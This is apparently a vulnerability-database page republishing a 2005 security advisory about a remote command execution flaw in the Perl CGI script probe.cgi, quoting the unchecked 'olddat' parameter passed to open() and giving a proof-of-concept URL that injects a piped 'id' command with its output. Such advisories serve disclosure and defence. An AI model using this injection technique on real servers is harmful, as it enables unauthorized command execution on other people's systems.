Lucene search

K

probeExec.txt

🗓️ 07 Jul 2005 00:00:00Reported by spher3Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 124 Views

Remote Command Execution vulnerability in probe.cgi allows file access and arbitrary code execution.

Show more

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Code
`___________________________________________________________  
  
BADROOT SECURITY GROUP  
Security Advisory 2005 - #0x06  
http://www.badroot.org  
irc.us.azzurra.org ~ #badroot  
___________________________________________________________  
  
Authors ....... spher3 (spher3 at fatalimpulse dot net) Date   
.......... 04-07-2005  
Product ....... probe.cgi  
Type .......... Remote Command Execution  
  
o Info:  
================  
That script is used to open file '.dat'.  
  
o Vulnerable Code:  
================  
..  
23 [...]  
24 $old = $query->param('olddat');  
25 [...]  
..  
..  
34 [...]  
35 open (VF, "$olddat");  
36 [...]  
..  
  
(24) At this line, the cgi param 'olddat' is associated to one database.  
This variable isn't checked by anyone matching, so you can open  
all file that you want. (35) At this line the script open the file   
that you had chosen. With pipe `|`  
is possible to execute arbitrary code on the shell.  
  
o Proof of concept:  
================  
  
http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|  
uid=99(www) gid=99(www)  
  
Original ADV: http://www.badroot.org/advisories/SA0x06  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
07 Jul 2005 00:00Current
7.4High risk
Vulners AI Score7.4
124
.json
Report